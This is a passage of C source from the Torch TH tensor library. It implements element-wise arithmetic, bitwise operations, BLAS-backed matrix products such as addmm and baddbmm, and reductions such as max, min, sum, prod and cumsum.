: tp[i]); } else { TH_TENSOR_APPLY2(real, r_, real, t, *r__data = (*t_data < min_value) ? min_value : (*t_data > max_value ? max_value : *t_data);); } } void THTensor_(cadd)(THTensor *r_, THTensor *t, real value, THTensor *src) { THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(isContiguous)(src) && THTensor_(nElement)(r_) == THTensor_(nElement)(src)) { if(r_ == t) { THBlas_(axpy)(THTensor_(nElement)(t), value, THTensor_(data)(src), 1, THTensor_(data)(r_), 1); } else { TH_TENSOR_APPLY3_CONTIG(real, r_, real, t, real, src, THVector_(cadd)(r__data, t_data, src_data, value, r__len);); } } else { TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = *t_data + value * *src_data;); } } void THTensor_(csub)(THTensor *r_, THTensor *t, real value,THTensor *src) { THTensor_(cadd)(r_, t, -value, src); } void THTensor_(cmul)(THTensor *r_, THTensor *t, THTensor *src) { THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(isContiguous)(src) && THTensor_(nElement)(r_) == THTensor_(nElement)(src)) { TH_TENSOR_APPLY3_CONTIG(real, r_, real, t, real, src, THVector_(cmul)(r__data, t_data, src_data, r__len);); } else { TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = *t_data * *src_data;); } } void THTensor_(cpow)(THTensor *r_, THTensor *t, THTensor *src) { THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(isContiguous)(src) && THTensor_(nElement)(r_) == THTensor_(nElement)(src)) { real *tp = THTensor_(data)(t); real *sp = THTensor_(data)(src); real *rp = THTensor_(data)(r_); ptrdiff_t sz = THTensor_(nElement)(t); ptrdiff_t i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<sz; i++) rp[i] = pow(tp[i], sp[i]); } else { TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = pow(*t_data, *src_data);); } } void THTensor_(cdiv)(THTensor *r_, THTensor *t, THTensor *src) { THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(isContiguous)(src) && THTensor_(nElement)(r_) == THTensor_(nElement)(src)) { TH_TENSOR_APPLY3_CONTIG(real, r_, real, t, real, src, THVector_(cdiv)(r__data, t_data, src_data, r__len);); } else { TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = *t_data / *src_data;); } } void THTensor_(clshift)(THTensor *r_, THTensor *t, THTensor *src) { #if defined(TH_REAL_IS_HALF) return THError("clshift is not supported for torch.HalfTensor"); #endif THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(isContiguous)(src) && THTensor_(nElement)(r_) == THTensor_(nElement)(src)) { real *tp = THTensor_(data)(t); real *sp = THTensor_(data)(src); real *rp = THTensor_(data)(r_); ptrdiff_t sz = THTensor_(nElement)(t); ptrdiff_t i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<sz; i++) { #if defined(TH_REAL_IS_FLOAT) rp[i] = tp[i] * powf(2, sp[i]); #elif defined(TH_REAL_IS_DOUBLE) rp[i] = tp[i] * pow(2, sp[i]); #elif defined(TH_REAL_IS_BYTE) rp[i] = ((real) tp[i]) << sp[i]; #else rp[i] = ((unsigned real) tp[i]) << sp[i]; #endif } } else { #if defined(TH_REAL_IS_FLOAT) TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = *t_data * powf(2, *src_data);); #elif defined(TH_REAL_IS_DOUBLE) TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = *t_data * pow(2, *src_data);); #elif defined(TH_REAL_IS_BYTE) TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = ((real)*t_data) << *src_data;); #else TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = ((unsigned real)*t_data) << *src_data;); #endif } } void THTensor_(crshift)(THTensor *r_, THTensor *t, THTensor *src) { #if defined(TH_REAL_IS_HALF) return THError("crshift is not supported for torch.HalfTensor"); #endif THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(isContiguous)(src) && THTensor_(nElement)(r_) == THTensor_(nElement)(src)) { real *tp = THTensor_(data)(t); real *sp = THTensor_(data)(src); real *rp = THTensor_(data)(r_); ptrdiff_t sz = THTensor_(nElement)(t); ptrdiff_t i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<sz; i++) { #if defined(TH_REAL_IS_FLOAT) rp[i] = tp[i] / powf(2, sp[i]); #elif defined(TH_REAL_IS_DOUBLE) rp[i] = tp[i] / pow(2, sp[i]); #elif defined(TH_REAL_IS_BYTE) rp[i] = ((real) tp[i]) >> sp[i]; #else rp[i] = ((unsigned real) tp[i]) >> sp[i]; #endif } } else { #if defined(TH_REAL_IS_FLOAT) TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = *t_data / powf(2, *src_data);); #elif defined(TH_REAL_IS_DOUBLE) TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = *t_data / pow(2, *src_data);); #elif defined(TH_REAL_IS_BYTE) TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = ((real)*t_data) >> *src_data;); #else TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = ((unsigned real)*t_data) >> *src_data;); #endif } } void THTensor_(cfmod)(THTensor *r_, THTensor *t, THTensor *src) { THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(isContiguous)(src) && THTensor_(nElement)(r_) == THTensor_(nElement)(src)) { real *tp = THTensor_(data)(t); real *sp = THTensor_(data)(src); real *rp = THTensor_(data)(r_); ptrdiff_t sz = THTensor_(nElement)(t); ptrdiff_t i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<sz; i++) { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) rp[i] = fmod(tp[i], sp[i]); #else rp[i] = tp[i] % sp[i]; #endif } } else { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = fmod(*t_data, *src_data);); #else TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = (*t_data % *src_data);); #endif } } void THTensor_(cremainder)(THTensor *r_, THTensor *t, THTensor *src) { THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(isContiguous)(src) && THTensor_(nElement)(r_) == THTensor_(nElement)(src)) { real *tp = THTensor_(data)(t); real *sp = THTensor_(data)(src); real *rp = THTensor_(data)(r_); ptrdiff_t sz = THTensor_(nElement)(t); ptrdiff_t i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<sz; i++) { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) rp[i] = (sp[i] == 0)? NAN : tp[i] - sp[i] * floor(tp[i] / sp[i]); #else // There is no NAN for integers rp[i] = tp[i] % sp[i]; if (rp[i] * sp[i] < 0) rp[i] += sp[i]; #endif } } else { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = (*src_data == 0)? NAN : *t_data - *src_data * floor(*t_data / *src_data);); #else // There is no NAN for integers TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = *t_data % *src_data; if (*r__data * *src_data < 0) *r__data += *src_data;); #endif } } void THTensor_(cbitand)(THTensor *r_, THTensor *t, THTensor *src) { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) || defined(TH_REAL_IS_HALF) return THError("cbitand is only supported for integer type tensors"); #else THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(isContiguous)(src) && THTensor_(nElement)(r_) == THTensor_(nElement)(src)) { real *tp = THTensor_(data)(t); real *sp = THTensor_(data)(src); real *rp = THTensor_(data)(r_); ptrdiff_t sz = THTensor_(nElement)(t); ptrdiff_t i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<sz; i++) { rp[i] = tp[i] & sp[i]; } } else { TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = *t_data & *src_data;); } #endif } void THTensor_(cbitor)(THTensor *r_, THTensor *t, THTensor *src) { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) || defined(TH_REAL_IS_HALF) return THError("cbitor is only supported for integer type tensors"); #else THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(isContiguous)(src) && THTensor_(nElement)(r_) == THTensor_(nElement)(src)) { real *tp = THTensor_(data)(t); real *sp = THTensor_(data)(src); real *rp = THTensor_(data)(r_); ptrdiff_t sz = THTensor_(nElement)(t); ptrdiff_t i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<sz; i++) { rp[i] = tp[i] | sp[i]; } } else { TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = *t_data | *src_data;); } #endif } void THTensor_(cbitxor)(THTensor *r_, THTensor *t, THTensor *src) { #if defined(TH_REAL_IS_FLOAT) || defined(TH_REAL_IS_DOUBLE) || defined(TH_REAL_IS_HALF) return THError("cbitxor is only supported for integer type tensors"); #else THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(isContiguous)(src) && THTensor_(nElement)(r_) == THTensor_(nElement)(src)) { real *tp = THTensor_(data)(t); real *sp = THTensor_(data)(src); real *rp = THTensor_(data)(r_); ptrdiff_t sz = THTensor_(nElement)(t); ptrdiff_t i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<sz; i++) { rp[i] = tp[i] ^ sp[i]; } } else { TH_TENSOR_APPLY3(real, r_, real, t, real, src, *r__data = *t_data ^ *src_data;); } #endif } void THTensor_(tpow)(THTensor *r_, real value, THTensor *t) { THTensor_(resizeAs)(r_, t); if (THTensor_(isContiguous)(r_) && THTensor_(isContiguous)(t) && THTensor_(nElement)(r_) == THTensor_(nElement)(t)) { real *tp = THTensor_(data)(t); real *rp = THTensor_(data)(r_); ptrdiff_t sz = THTensor_(nElement)(t); ptrdiff_t i; #pragma omp parallel for if(sz > TH_OMP_OVERHEAD_THRESHOLD) private(i) for (i=0; i<sz; i++) rp[i] = pow(value, tp[i]); } else { TH_TENSOR_APPLY2(real, r_, real, t, *r__data = pow(value, *t_data);); } } void THTensor_(addcmul)(THTensor *r_, THTensor *t, real value, THTensor *src1, THTensor *src2) { if(r_ != t) { THTensor_(resizeAs)(r_, t); THTensor_(copy)(r_, t); } TH_TENSOR_APPLY3(real, r_, real, src1, real, src2, *r__data += value * *src1_data * *src2_data;); } void THTensor_(addcdiv)(THTensor *r_, THTensor *t, real value, THTensor *src1, THTensor *src2) { if(r_ != t) { THTensor_(resizeAs)(r_, t); THTensor_(copy)(r_, t); } TH_TENSOR_APPLY3(real, r_, real, src1, real, src2, *r__data += value * *src1_data / *src2_data;); } void THTensor_(addmv)(THTensor *r_, real beta, THTensor *t, real alpha, THTensor *mat, THTensor *vec) { if( (mat->nDimension != 2) || (vec->nDimension != 1) ) THError("matrix and vector expected, got %dD, %dD", mat->nDimension, vec->nDimension); if( mat->size[1] != vec->size[0] ) { THDescBuff bm = THTensor_(sizeDesc)(mat); THDescBuff bv = THTensor_(sizeDesc)(vec); THError("size mismatch, %s, %s", bm.str, bv.str); } if(t->nDimension != 1) THError("vector expected, got t: %dD", t->nDimension); if(t->size[0] != mat->size[0]) { THDescBuff bt = THTensor_(sizeDesc)(t); THDescBuff bm = THTensor_(sizeDesc)(mat); THError("size mismatch, t: %s, mat: %s", bt.str, bm.str); } if(r_ != t) { THTensor_(resizeAs)(r_, t); THTensor_(copy)(r_, t); } if(mat->stride[0] == 1) { THBlas_(gemv)('n', mat->size[0], mat->size[1], alpha, THTensor_(data)(mat), mat->stride[1], THTensor_(data)(vec), vec->stride[0], beta, THTensor_(data)(r_), r_->stride[0]); } else if(mat->stride[1] == 1) { THBlas_(gemv)('t', mat->size[1], mat->size[0], alpha, THTensor_(data)(mat), mat->stride[0], THTensor_(data)(vec), vec->stride[0], beta, THTensor_(data)(r_), r_->stride[0]); } else { THTensor *cmat = THTensor_(newContiguous)(mat); THBlas_(gemv)('t', mat->size[1], mat->size[0], alpha, THTensor_(data)(cmat), cmat->stride[0], THTensor_(data)(vec), vec->stride[0], beta, THTensor_(data)(r_), r_->stride[0]); THTensor_(free)(cmat); } } void THTensor_(match)(THTensor *r_, THTensor *m1, THTensor *m2, real gain) { long N1 = m1->size[0]; long N2 = m2->size[0]; long dim; real *m1_p; real *m2_p; real *r_p; long i; THTensor_(resize2d)(r_, N1, N2); m1 = THTensor_(newContiguous)(m1); m2 = THTensor_(newContiguous)(m2); THTensor_(resize2d)(m1, N1, THTensor_(nElement)(m1) / N1); THTensor_(resize2d)(m2, N2, THTensor_(nElement)(m2) / N2); dim = m1->size[1]; THArgCheck(m1->size[1] == m2->size[1], 3, "m1 and m2 must have the same inner vector dim"); m1_p = THTensor_(data)(m1); m2_p = THTensor_(data)(m2); r_p = THTensor_(data)(r_); #pragma omp parallel for private(i) for (i=0; i<N1; i++) { long j,k; for (j=0; j<N2; j++) { real sum = 0; for (k=0; k<dim; k++) { real term = m1_p[ i*dim + k ] - m2_p[ j*dim + k ]; sum += term*term; } r_p[ i*N2 + j ] = gain * sum; } } THTensor_(free)(m1); THTensor_(free)(m2); } void THTensor_(addmm)(THTensor *r_, real beta, THTensor *t, real alpha, THTensor *m1, THTensor *m2) { char transpose_r, transpose_m1, transpose_m2; THTensor *r__, *m1_, *m2_; if( (m1->nDimension != 2) || (m2->nDimension != 2)) THError("matrices expected, got %dD, %dD tensors", m1->nDimension, m2->nDimension); if(m1->size[1] != m2->size[0]) { THDescBuff bm1 = THTensor_(sizeDesc)(m1); THDescBuff bm2 = THTensor_(sizeDesc)(m2); THError("size mismatch, m1: %s, m2: %s", bm1.str, bm2.str); } if( t->nDimension != 2 ) THError("matrix expected, got %dD tensor for t", t->nDimension); if( (t->size[0] != m1->size[0]) || (t->size[1] != m2->size[1]) ) { THDescBuff bt = THTensor_(sizeDesc)(t); THDescBuff bm1 = THTensor_(sizeDesc)(m1); THDescBuff bm2 = THTensor_(sizeDesc)(m2); THError("size mismatch, t: %s, m1: %s, m2: %s", bt.str, bm1.str, bm2.str); } if(t != r_) { THTensor_(resizeAs)(r_, t); THTensor_(copy)(r_, t); } /* r_ */ if(r_->stride[0] == 1 && r_->stride[1] != 0) { transpose_r = 'n'; r__ = r_; } else if(r_->stride[1] == 1 && r_->stride[0] != 0) { THTensor *swap = m2; m2 = m1; m1 = swap; transpose_r = 't'; r__ = r_; } else { transpose_r = 'n'; THTensor *transp_r_ = THTensor_(newTranspose)(r_, 0, 1); r__ = THTensor_(newClone)(transp_r_); THTensor_(free)(transp_r_); THTensor_(transpose)(r__, NULL, 0, 1); } /* m1 */ if(m1->stride[(transpose_r == 'n' ? 0 : 1)] == 1 && m1->stride[(transpose_r == 'n' ? 1 : 0)] != 0) { transpose_m1 = 'n'; m1_ = m1; } else if(m1->stride[(transpose_r == 'n' ? 1 : 0)] == 1 && m1->stride[(transpose_r == 'n' ? 0 : 1)] != 0) { transpose_m1 = 't'; m1_ = m1; } else { transpose_m1 = (transpose_r == 'n' ? 't' : 'n'); m1_ = THTensor_(newContiguous)(m1); } /* m2 */ if(m2->stride[(transpose_r == 'n' ? 0 : 1)] == 1 && m2->stride[(transpose_r == 'n' ? 1 : 0)] != 0) { transpose_m2 = 'n'; m2_ = m2; } else if(m2->stride[(transpose_r == 'n' ? 1 : 0)] == 1 && m2->stride[(transpose_r == 'n' ? 0 : 1)] != 0) { transpose_m2 = 't'; m2_ = m2; } else { transpose_m2 = (transpose_r == 'n' ? 't' : 'n'); m2_ = THTensor_(newContiguous)(m2); } #pragma omp critical(blasgemm) /* do the operation */ THBlas_(gemm)(transpose_m1, transpose_m2, r__->size[(transpose_r == 'n' ? 0 : 1)], r__->size[(transpose_r == 'n' ? 1 : 0)], m1_->size[(transpose_r == 'n' ? 1 : 0)], alpha, THTensor_(data)(m1_), (transpose_m1 == 'n' ? m1_->stride[(transpose_r == 'n' ? 1 : 0)] : m1_->stride[(transpose_r == 'n' ? 0 : 1)]), THTensor_(data)(m2_), (transpose_m2 == 'n' ? m2_->stride[(transpose_r == 'n' ? 1 : 0)] : m2_->stride[(transpose_r == 'n' ? 0 : 1)]), beta, THTensor_(data)(r__), r__->stride[(transpose_r == 'n' ? 1 : 0)]); /* free intermediate variables */ if(m1_ != m1) THTensor_(free)(m1_); if(m2_ != m2) THTensor_(free)(m2_); if(r__ != r_) THTensor_(freeCopyTo)(r__, r_); } void THTensor_(addr)(THTensor *r_, real beta, THTensor *t, real alpha, THTensor *vec1, THTensor *vec2) { if( (vec1->nDimension != 1) || (vec2->nDimension != 1) ) THError("vector and vector expected, got %dD, %dD tensors", vec1->nDimension, vec2->nDimension); if(t->nDimension != 2) THError("expected matrix, got %dD tensor for t", t->nDimension); if( (t->size[0] != vec1->size[0]) || (t->size[1] != vec2->size[0]) ) { THDescBuff bt = THTensor_(sizeDesc)(t); THDescBuff bv1 = THTensor_(sizeDesc)(vec1); THDescBuff bv2 = THTensor_(sizeDesc)(vec2); THError("size mismatch, t: %s, vec1: %s, vec2: %s", bt.str, bv1.str, bv2.str); } if(r_ != t) { THTensor_(resizeAs)(r_, t); THTensor_(copy)(r_, t); } if(beta == 0) { THTensor_(zero)(r_); } else if(beta != 1) THTensor_(mul)(r_, r_, beta); if(r_->stride[0] == 1) { THBlas_(ger)(vec1->size[0], vec2->size[0], alpha, THTensor_(data)(vec1), vec1->stride[0], THTensor_(data)(vec2), vec2->stride[0], THTensor_(data)(r_), r_->stride[1]); } else if(r_->stride[1] == 1) { THBlas_(ger)(vec2->size[0], vec1->size[0], alpha, THTensor_(data)(vec2), vec2->stride[0], THTensor_(data)(vec1), vec1->stride[0], THTensor_(data)(r_), r_->stride[0]); } else { THTensor *cr = THTensor_(newClone)(r_); THBlas_(ger)(vec2->size[0], vec1->size[0], alpha, THTensor_(data)(vec2), vec2->stride[0], THTensor_(data)(vec1), vec1->stride[0], THTensor_(data)(cr), cr->stride[0]); THTensor_(freeCopyTo)(cr, r_); } } void THTensor_(addbmm)(THTensor *result, real beta, THTensor *t, real alpha, THTensor *batch1, THTensor *batch2) { long batch; THArgCheck(THTensor_(nDimension)(batch1) == 3, 1, "expected 3D tensor"); THArgCheck(THTensor_(nDimension)(batch2) == 3, 2, "expected 3D tensor"); THArgCheck(THTensor_(size)(batch1, 0) == THTensor_(size)(batch2, 0), 2, "equal number of batches expected, got %d, %d", THTensor_(size)(batch1, 0), THTensor_(size)(batch2, 0)); THArgCheck(THTensor_(size)(batch1, 2) == THTensor_(size)(batch2, 1), 2, "wrong matrix size, batch1: %dx%d, batch2: %dx%d", THTensor_(size)(batch1, 1), THTensor_(size)(batch1,2), THTensor_(size)(batch2, 1), THTensor_(size)(batch2,2)); long dim1 = THTensor_(size)(batch1, 1); long dim2 = THTensor_(size)(batch2, 2); THArgCheck(THTensor_(size)(t, 0) == dim1, 1, "output tensor of incorrect size"); THArgCheck(THTensor_(size)(t, 1) == dim2, 1, "output tensor of incorrect size"); if (t != result) { THTensor_(resizeAs)(result, t); THTensor_(copy)(result, t); } THTensor *matrix1 = THTensor_(new)(); THTensor *matrix2 = THTensor_(new)(); for (batch = 0; batch < THTensor_(size)(batch1, 0); ++batch) { THTensor_(select)(matrix1, batch1, 0, batch); THTensor_(select)(matrix2, batch2, 0, batch); THTensor_(addmm)(result, beta, result, alpha, matrix1, matrix2); beta = 1; // accumulate output once } THTensor_(free)(matrix1); THTensor_(free)(matrix2); } void THTensor_(baddbmm)(THTensor *result, real beta, THTensor *t, real alpha, THTensor *batch1, THTensor *batch2) { long batch; THArgCheck(THTensor_(nDimension)(batch1) == 3, 1, "expected 3D tensor, got %dD", THTensor_(nDimension)(batch1)); THArgCheck(THTensor_(nDimension)(batch2) == 3, 2, "expected 3D tensor, got %dD", THTensor_(nDimension)(batch2)); THArgCheck(THTensor_(size)(batch1, 0) == THTensor_(size)(batch2, 0), 2, "equal number of batches expected, got %d, %d", THTensor_(size)(batch1, 0), THTensor_(size)(batch2, 0)); THArgCheck(THTensor_(size)(batch1, 2) == THTensor_(size)(batch2, 1), 2, "wrong matrix size, batch1: %dx%d, batch2: %dx%d", THTensor_(size)(batch1, 1), THTensor_(size)(batch1, 2), THTensor_(size)(batch2, 1), THTensor_(size)(batch2, 2)); long bs = THTensor_(size)(batch1, 0); long dim1 = THTensor_(size)(batch1, 1); long dim2 = THTensor_(size)(batch2, 2); THArgCheck(THTensor_(size)(t, 0) == bs, 1, "output tensor of incorrect size"); THArgCheck(THTensor_(size)(t, 1) == dim1, 1, "output tensor of incorrect size"); THArgCheck(THTensor_(size)(t, 2) == dim2, 1, "output tensor of incorrect size"); if (t != result) { THTensor_(resizeAs)(result, t); THTensor_(copy)(result, t); } THTensor *matrix1 = THTensor_(new)(); THTensor *matrix2 = THTensor_(new)(); THTensor *result_matrix = THTensor_(new)(); for (batch = 0; batch < THTensor_(size)(batch1, 0); ++batch) { THTensor_(select)(matrix1, batch1, 0, batch); THTensor_(select)(matrix2, batch2, 0, batch); THTensor_(select)(result_matrix, result, 0, batch); THTensor_(addmm)(result_matrix, beta, result_matrix, alpha, matrix1, matrix2); } THTensor_(free)(matrix1); THTensor_(free)(matrix2); THTensor_(free)(result_matrix); } ptrdiff_t THTensor_(numel)(THTensor *t) { return THTensor_(nElement)(t); } void THTensor_(max)(THTensor *values_, THLongTensor *indices_, THTensor *t, int dimension, int keepdim) { THLongStorage *dim; THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 2, "dimension %d out of range", dimension + TH_INDEX_BASE); dim = THTensor_(newSizeOf)(t); THLongStorage_set(dim, dimension, 1); THTensor_(resize)(values_, dim, NULL); THLongTensor_resize(indices_, dim, NULL); THLongStorage_free(dim); // two implementations optimized for data locality if (t->stride[dimension] == 1) { real theMax; real value; long theIndex; long i; TH_TENSOR_DIM_APPLY3(real, t, real, values_, long, indices_, dimension, theMax = t_data[0]; theIndex = 0; for(i = 0; i < t_size; i++) { value = t_data[i*t_stride]; /* This is not the same as value>theMax in the case of NaNs */ if(!(value <= theMax)) { theIndex = i; theMax = value; th_isnan_break(value) } } *indices__data = theIndex; *values__data = theMax;); } else { if (THTensor_(nDimension)(t) > 1) { THTensor *t0 = THTensor_(newSelect)(t, dimension, 0); THTensor_(copy)(values_, t0); THTensor_(free)(t0); } else { THTensor_(fill)(values_, THTensor_(get1d)(t, 0)); } THLongTensor_zero(indices_); if(t->size[dimension] == 1) { return; } THTensor *tempValues_ = THTensor_(newWithTensor)(values_); // tempValues_.expand_as(t) tempValues_->size[dimension] = t->size[dimension]; tempValues_->stride[dimension] = 0; THLongTensor *tempIndices_ = THLongTensor_newWithTensor(indices_); // tempIndices_.expand_as(t) tempIndices_->size[dimension] = t->size[dimension]; tempIndices_->stride[dimension] = 0; TH_TENSOR_APPLY3_D(real, t, real, tempValues_, long, tempIndices_, dimension, if(!(*t_data <= *tempValues__data) && !th_isnan(*tempValues__data)) { *tempValues__data = *t_data; *tempIndices__data = *tempIndices__dimOffset; }); THTensor_(free)(tempValues_); THLongTensor_free(tempIndices_); } if (!keepdim) { THTensor_(squeeze1d)(values_, values_, dimension); THLongTensor_squeeze1d(indices_, indices_, dimension); } } void THTensor_(min)(THTensor *values_, THLongTensor *indices_, THTensor *t, int dimension, int keepdim) { THLongStorage *dim; THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 2, "dimension %d out of range", dimension + TH_INDEX_BASE); dim = THTensor_(newSizeOf)(t); THLongStorage_set(dim, dimension, 1); THTensor_(resize)(values_, dim, NULL); THLongTensor_resize(indices_, dim, NULL); THLongStorage_free(dim); // two implementations optimized for data locality if (t->stride[dimension] == 1) { real theMax; real value; long theIndex; long i; TH_TENSOR_DIM_APPLY3(real, t, real, values_, long, indices_, dimension, theMax = t_data[0]; theIndex = 0; for(i = 0; i < t_size; i++) { value = t_data[i*t_stride]; /* This is not the same as value>theMax in the case of NaNs */ if(!(value >= theMax)) { theIndex = i; theMax = value; th_isnan_break(value) } } *indices__data = theIndex; *values__data = theMax;); } else { if (THTensor_(nDimension)(t) > 1) { THTensor *t0 = THTensor_(newSelect)(t, dimension, 0); THTensor_(copy)(values_, t0); THTensor_(free)(t0); } else { THTensor_(fill)(values_, THTensor_(get1d)(t, 0)); } THLongTensor_zero(indices_); if(t->size[dimension] == 1) { return; } THTensor *tempValues_ = THTensor_(newWithTensor)(values_); // tempValues_.expand_as(t) tempValues_->size[dimension] = t->size[dimension]; tempValues_->stride[dimension] = 0; THLongTensor *tempIndices_ = THLongTensor_newWithTensor(indices_); // tempIndices_.expand_as(t) tempIndices_->size[dimension] = t->size[dimension]; tempIndices_->stride[dimension] = 0; TH_TENSOR_APPLY3_D(real, t, real, tempValues_, long, tempIndices_, dimension, if(!(*t_data >= *tempValues__data) && !th_isnan(*tempValues__data)) { *tempValues__data = *t_data; *tempIndices__data = *tempIndices__dimOffset; }); } if (!keepdim) { THTensor_(squeeze1d)(values_, values_, dimension); THLongTensor_squeeze1d(indices_, indices_, dimension); } } void THTensor_(sum)(THTensor *r_, THTensor *t, int dimension, int keepdim) { THLongStorage *dim; THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 2, "dimension %d out of range", dimension + TH_INDEX_BASE); dim = THTensor_(newSizeOf)(t); THLongStorage_set(dim, dimension, 1); THTensor_(resize)(r_, dim, NULL); THLongStorage_free(dim); // two implementations optimized for data locality if (t->stride[dimension] == 1) { TH_TENSOR_DIM_APPLY2(real, t, real, r_, dimension, accreal sum = 0; long i; for(i = 0; i < t_size; i++) sum += t_data[i*t_stride]; *r__data = (real)sum;); } else { THTensor_(zero)(r_); THTensor *temp_ = THTensor_(newWithTensor)(r_); // r_.expand_as(t) temp_->size[dimension] = t->size[dimension]; temp_->stride[dimension] = 0; TH_TENSOR_APPLY2(real, temp_, real, t, *temp__data = *temp__data + *t_data;); THTensor_(free)(temp_); } if (!keepdim) { THTensor_(squeeze1d)(r_, r_, dimension); } } void THTensor_(prod)(THTensor *r_, THTensor *t, int dimension, int keepdim) { THLongStorage *dim; THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 2, "dimension %d out of range", dimension + TH_INDEX_BASE); dim = THTensor_(newSizeOf)(t); THLongStorage_set(dim, dimension, 1); THTensor_(resize)(r_, dim, NULL); THLongStorage_free(dim); // two implementations optimized for data locality if (t->stride[dimension] == 1) { TH_TENSOR_DIM_APPLY2(real, t, real, r_, dimension, accreal prod = 1; long i; for(i = 0; i < t_size; i++) prod *= t_data[i*t_stride]; *r__data = (real)prod;); } else { THTensor_(fill)(r_, 1); THTensor *temp_ = THTensor_(newWithTensor)(r_); // r_.expand_as(t) temp_->size[dimension] = t->size[dimension]; temp_->stride[dimension] = 0; TH_TENSOR_APPLY2(real, temp_, real, t, *temp__data = *temp__data * *t_data;); THTensor_(free)(temp_); } if (!keepdim) { THTensor_(squeeze1d)(r_, r_, dimension); } } void THTensor_(cumsum)(THTensor *r_, THTensor *t, int dimension) { THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 2, "dimension %d out of range", dimension + TH_INDEX_BASE); THTensor_(resizeAs)(r_, t); TH_TENSOR_DIM_APPLY2(real, t, real, r_, dimension, accreal cumsum = 0; long i; for(i = 0; i < t_size; i++) { cumsum += t_data[i*t_stride]; r__data[i*r__stride] = (real)cumsum; }); } void THTensor_(cumprod)(THTensor *r_, THTensor *t, int dimension) { THArgCheck(dimension >= 0 && dimension < THTensor_(nDimension)(t), 2, "dimension %d out of range", dimension + TH_INDEX_BASE); THTensor_(resizeAs)(r_, t); TH_TENSOR_DIM_APPLY2(real, t, real, r_, dimension, accreal cumprod = 1; long i; for(i = 0; i < t_size; i++) { cumprod *= t_data[i*t_stride]; r__data[i*r__stride] = (real)cumprod; }); } void THTensor_(sign)(THTensor *r_, THTensor *t) { THTensor_(resizeAs)(r_, t); #if defined (TH_REAL_IS_BYTE) TH_TENSOR_APPLY2(real, r_, real, t, if (*t_data > 0) *r__data = 1; else *r__data = 0;); #else TH_TENSOR_APPLY2(real, r_, real, t, if (*t_data > 0) *r__data = 1; else if (*t_data < 0) *r__data = -1; else *r__data = 0;); #endif } accreal THTensor_(trace)(THTensor *t) { real *t_data = THTensor_(data)(t); accreal sum = 0; long i = 0; long t_stride_0, t_stride_1, t_diag_size; THArgCheck(THTensor_(nDimension)(t) == 2, 1, "expected a matrix"); t_stride_0 = THTensor_(stride)(t, 0); t_stride_1 = THTensor_(stride)(t, 1); t_diag_size = THMin(THTensor_(size)(t, 0), THTensor_(size)(t, 1)); while(i < t_diag_size) { sum += t_data[i*(t_stride_0+t_stride_1)]; i++; } return sum; } void THTensor_(cross)(THTensor *r_, THTensor *a, THTensor *b, int dimension) { int i; if(THTensor_(nDimension)(a) != THTensor_(nDimension)(b)) THError("inconsistent tensor dimension %dD, %dD", 